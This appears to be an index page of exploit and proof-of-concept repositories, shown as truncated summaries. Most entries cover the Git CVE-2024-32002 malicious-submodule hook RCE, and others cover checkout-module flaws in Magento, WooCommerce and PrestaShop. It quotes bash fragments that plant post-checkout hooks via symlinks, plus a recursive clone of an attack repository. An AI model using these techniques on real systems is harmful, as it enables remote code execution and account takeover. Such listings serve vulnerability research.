CVE-2024-32002-Exploit

!/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

CVE-2025-61922-PoC

CVE-2025-61922 Exploit: PrestaShop Checkout Account Takeover A simple, educational proof-of-concept script demonstrating the zero-click account takeover vulnerability in the PrestaShop Checkout module CVE-2025-61922. ⚠️ Legal & Ethical Notice: Use Responsibly This tool is for educational purposes...

CVE-2024-32002-EXP

CVE-2024-32002-EXP !/bin/bash Configurar opciones de Git git config --global protocol.file.allow always git config --global core.symlinks true Evitar mensajes de advertencia establecer rama predeterminada como main git config --global init.defaultBranch main Definir ruta de tell-tale...

CVE-mitre

CVE-Mitre Common Vulnerability Exposure Download single CVE The variable is only for example ; you can make your own SVN script for downloading a single folder = CVE = BR @nu11secur1ty $CVE = CVE-2020-13935 svn checkout https://github.com/nu11secur1ty/CVE-mitre/trunk/$CVE Link table of Analysis...

cve-2024-32002-submodule-rce

CVE-2024-32002 Submódulo RCE Un submódulo para demostrar CVE-2024-32002. Demuestra la Ejecución Remota de Código RCE cargando un hook de commit malicioso en el directorio .git del repositorio padre. Consulte cve-2024-32002-poc-rce para ver el POC funcional que utiliza este repositorio. Lo que...

CVE-2022-24086-RCE

CVE-2022-24086-RCE CVE-2022-24086 RCE Description Adobe Commerce versions 2.4.3-p1 and earlier and 2.3.7-p2 and earlier are affected by an improper input validation vulnerability during the checkout process. Exploitation of this issue does not require user interaction and could result in arbitrar...

hooky

hooky 이 리포지토리는 https://github.com/markuta/CVE-2024-32002의 서브모듈로, macOS 시스템에서 계산기를 열기 위해 y/hooks/post-checkout에 위치한 간단한 훅을 포함하고 있습니다. open -a Calculator.app 취약점에 대한 자세한 정보는 여기와 여기에서 확인할 수 있습니다...

hooky

hooky This repository is a submodule for https://github.com/markuta/CVE-2024-32002, which contains a simple hook located in y/hooks/post-checkout to open calculator on macOS systems: open -a Calculator.app More info about the vulnerability can be found here and here...

CVE-2024-50968

CVE-2024-50968 Descripción Existe una vulnerabilidad de lógica de negocio en la función Añadir al Carrito de itsourcecode Agri-Trading Online Shopping System 1.0, que permite a atacantes remotos manipular el parámetro quant al agregar un producto al carrito. Al establecer el valor de cantidad en...

Flexible Checkout Fields for WooCommerce <= 2.3.1 - Unauthenticated Arbitrary Plugin Settings Update

The Flexible Checkout Fields for WooCommerce plugin for WordPress is vulnerable to Unauthenticated Arbitrary Plugin Settings update, in addition to Stored Cross-Site Scripting in versions up to, and including, 2.3.1. This is due to missing authorization checks on the updateSettingsAction function...

WooCommerce Checkout Field Manager < 18.0 - Arbitrary File Upload

The WooCommerce Checkout Field Manager WordPress plugin before 18.0 does not validate files to be uploaded, which could allow unauthenticated attackers to upload arbitrary files such as PHP on the server. id: CVE-2022-4328 info: name: WooCommerce Checkout Field Manager 18.0 - Arbitrary File Uploa...

WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting

A cross-site scripting vulnerability in test-plugin.php in the Swipe Checkout for WooCommerce plugin 2.7.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the apiurl parameter. id: CVE-2014-4558 info: name: WooCommerce Swipe = 2.7.1 - Cross-Site...

git_rce

CVE-2024-32002 PoC 1. You must set up the git's symbolic link option like: git config --global core.symlinks true 2. Then exploit CVE-2024-32002 by the following command: git clone --recursive https://github.com/EQSTSeminar/gitrce.git Attack Scenario kali192.168.216.129 --Give remote repository...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086 about Magento RCE Description Adobe Commerce versions 2.4.3-p1 and earlier and 2.3.7-p2 and earlier are affected by an improper input validation vulnerability during the checkout process. Exploitation of this issue does not require user interaction and could result i...

CVE-2024-53476

CVE-2024-53476 Descripción SimplCommerce se ve afectado por una vulnerabilidad de condición de carrera en la lógica de pago, lo que permite a múltiples usuarios comprar más productos de los que hay en stock mediante solicitudes de pago simultáneas. Método de detección Un atacante puede detectar...

CVE-2022-24086

CVE-2022-24086 Ejemplo de POC de CVE-2022-24086 proporcionado por BurpRoot CVE-2022-24086: Resumen Software afectado: Magento2 ID de CVE: CVE-2022-24086 Puntuación CVSS: 9.8 Crítico Descripción CVE-2022-24086 es una vulnerabilidad de seguridad crítica que afecta a múltiples versiones de la...

CVE-2025-48384

CVE-2025-48384 개요 CVE-2025-48384는 널리 사용되는 분산 버전 관리 시스템인 Git에서 발견된 치명적인 취약점입니다. 이 취약점은 구성 값에서 캐리지 리턴CR 문자를 부적절하게 처리하여 서브모듈 체크아웃 중 경로 탐색 문제를 일으킬 수 있습니다. 이 결함으로 인해 특정 조건에서 임의 코드 실행이 가능할 수 있습니다. 이 취약점은 2025년 7월 8일에 공개적으로 공표되었으며, 2025년 8월 26일에 마지막으로 수정되었습니다. 또한 2025년 8월 25일 미국 사이버보안 및 인프라 보안국CISA의 알려진...

magento2-encryption-key-manager-cli

Magento 2 Encryption Key Manager CLI A utility for Magento 2 encryption key rotation and management. CVE-2024-34102aka Cosmic Sting victims can use it as an aftercare. Designed for Development usage Deployment automation CVE-2024-34102aka Cosmic Sting aftercare CVE-2024-34102aka Cosmic Sting Afte...

CVE-2024-32002-poc

Script Bash: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path telltalepath="$PWD/tell.tale" Initialize...

hook

hook submodule for gitrce: https://github.com/EQSTSeminar/gitrce Attack Scenario kali192.168.216.129 --Give remote repository address-- Win192.168.216.130 kali192.168.216.129 --Git clone && hook scriptpost-checkout execution-- Win192.168.216.130 Disclaimer This repository is not intended to be gi...